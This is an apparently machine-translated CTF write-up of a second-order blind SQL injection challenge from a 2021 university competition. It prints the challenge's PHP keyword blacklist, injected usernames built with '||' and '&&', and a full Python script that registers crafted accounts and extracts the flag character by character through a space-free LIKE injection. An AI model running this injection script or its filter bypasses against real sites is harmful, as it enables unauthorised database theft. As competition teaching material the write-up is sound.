Note the primary Sql injection combined with secondary injection and error reporting injection

Posted by Craig_H on Tue, 07 Dec 2021 23:52:20 +0100

preface:

The article was first published in https://sleepymonster.cn

This is a question for the finals of the 2021 Jinan University freshman competition.

At that time, I was gambling. If I did it, I would win the second prize

Unfortunately, the network is not powerful enough to suck out second times without changing the script.

But I've been overtime for 5 minutes, so I didn't work out a problem.

(it was only issued after the check-in question, and everyone did the check-in question) I gambled and failed 😭

Code audit

The game began at 9 a.m. with two questions.

Continue to look at the description ~ (the Hint in it is too difficult to send out one after another, and we'll talk about it later)

After taking it down, there is a login box + add mailbox 📮.

It means that you register first, then log in, and then you can add your email.

Because there are several pages, it is more convenient to use PHPStrom to start code audit

According to the topic mediun SQL, this is an SQL injection problem

Found a place to exist. (that is, find query statements)

Discovery is insertion and query. The basic judgment is secondary injection. Then let's look at waf

public function waf($value): bool
    {
        $blackList = array(' ', '^', '#', '*', '/', '-', ';', '!', '~', '<', '>', '?', '=', urldecode('%00'), urldecode('%09'), urldecode('%0A'), urldecode('%0B'), urldecode('%0C'), urldecode('%0D'), urldecode('%A0'), '+', '`', '"', '\\', '()', 'or', 'and', 'between', 'insert', 'update', 'xml', 'delete', 'into', 'union', 'file', 'extractvalue', 'if', 'substr', 'hex', 'bin', 'ord', 'ascii', 'sleep', 'medium');
        foreach ($blackList as $item) {
            if (stripos($value, $item) !== false) {
                return false;
            }
        }
        return true;
    }

And you can find that both login, registration and addition need to go through waf. And this waf is not a little.

Joint injection? NO

If you add a few, I wonder if you can include the flag in it through joint injection

It's impossible to find ban, union and so on!!!

Then I found a problem. Because the space is also ban, I can only get it with layers of parentheses

Around 11 noon, the first wave of Hint was released

The latter sentence attracted my attention. Everyone has all the authority??

Is it through SQL to execute commands to obtain permissions.

Inspired by: https://www.freebuf.com/sectool/164608.html Accessing file system under SQL map

But isn't that right? If the flag exists in the database, it should be ~

Keep trying. I thought I could pop up the query to the server to receive what (may DNS?), but I didn't have a clue in general..

Synonym bypass? Different pages to judge?

Until I turned to the big man's Blog

Found that | and & & are not prohibited!!

Is this place injected? Try it!

First register an account called xiaoming

Then register an account called Xiaoming '|'1

After going in, you will find that you can query all email s and time s!

// Composed payload

SELECT email,time FROM email where username = 'xiaoming'

SELECT email,time FROM email where username = 'xiaoming'||'1'

At this time, the second Hint was released

I was speechless 😓, The new world is gone!

But it seems that it is necessary to explode the table, and then I began to query the data

After going through Google, sys.xxxx found that you must have permission to access it. It takes care of the first hint!

Then I successfully turned to the corresponding article in the security guest! https://www.anquanke.com/post/id/193512

At this time, my thinking has basically taken shape.

That is to judge the page by & &.

For example, the xiaoming I registered first is right if & & can still return to the corresponding registered mailbox

If the return is empty, my sql statement fails to execute

To write a script to run the database name. I'm just starting to write. Still no one did it

The third wave of Hint comes out. Now, don't write it. I'll give you the database name directly.

I'll put the specific script below. The ideas are the same. Just see how the security guest writes the specific changes.

Because my database does not have sys, I can only write according to the screenshots of the security guest and the screenshots he gave.

Script burst Flag

I've written it out

Enrich it here.

At this time, my thinking has basically taken shape.

That is to judge the page by & &.

For example, the xiaoming I registered first is right if & & can still return to the corresponding registered mailbox

If the return is empty, my sql statement fails to execute

At the same time, we need to bypass waf, so the replacement of spaces and necessary key volumes must be arranged

And whether the statement you wrote is right. Just try local query

import requests
import hashlib
import random

from tqdm import tqdm

# The character order here is particular
# Because we want to use like, we finally underline it_ Pad tail
# Secondly, because flag says 38 bits, except for flag {}, 32 bits, most of them are md5 encryption
# Then, it is generally submitted in lowercase, so the order is as follows: lowercase + number + uppercase + underline
CharacterSet = 'abcdefghijklmnopqrstuvwxyz0123456789{}ABCDEFGHIJKLMNOPQRSTUVWXYZ_'
# Here is an example of payload injection
payload = "xiaoxin'||(select(mid(group_concat(flag),1,2))from(c1c7fbbb74d0d43101a2814ade767362))REGEXP'fl"

# Register
# In fact, you only need to test and register successfully
# It doesn't matter when you run again
def registered(payload):
    one = hashlib.md5(str(random.random()).encode('utf-8')).hexdigest()
    headers = {
        'cookies' : f'PHPSESSID: {one}'
    }
    url = 'http://35.220.149.77:16034/register.php'
    datas = {
        'username':payload,
        'email':'xxx@qq.com',
        'password': 'aa123123',
        'confirm': 'aa123123'
        }
    r = requests.post(url,data=datas,headers=headers)
    return r.status_code

# Log in to determine the package size
def LogIn(username, password):
    session = requests.Session()
    url1 = 'http://35.220.149.77:16034/login.php'
    datas = {
        'username':username,
        'password':password,
        }
    r = session.post(url1,data=datas)
    url2 = 'http://35.220.149.77:16034/index.php'
    r = session.get(url2)
    return len(r.text)

# flag{98dca52f6a770b8100cca1a478061743}

flag = ''
length = len(flag)
while len(flag) <= 38:
    for x in CharacterSet:
        x = str(x)
        payload = f"xiaoluo'&&(select(mid(group_concat(flag),1,{length + 1}))from(c1c7fbbb74d0d43101a2814ade767362))like'{flag + x}"
        registere = registered(payload)
        res = LogIn(payload, 'aa123123')
        print(f'{res} -- {flag} -- {payload}')
        if 4000 > int(res) > 2000:
            flag = flag + x
            length += 1
            print(flag)
            break
print('Mission Over')

Let's talk about the war here. I can't even run out of the top four before I see the last Hint

After adding headers, the first run was unsuccessful. After inspection, it was found that the top 30 were all right. Start running from the top 30 immediately

Unfortunately, the game is over. When I come back from the toilet, the flag comes out, but the game is gone! hey 😮 ‍ 💨

Topics: Database SQL security Information Security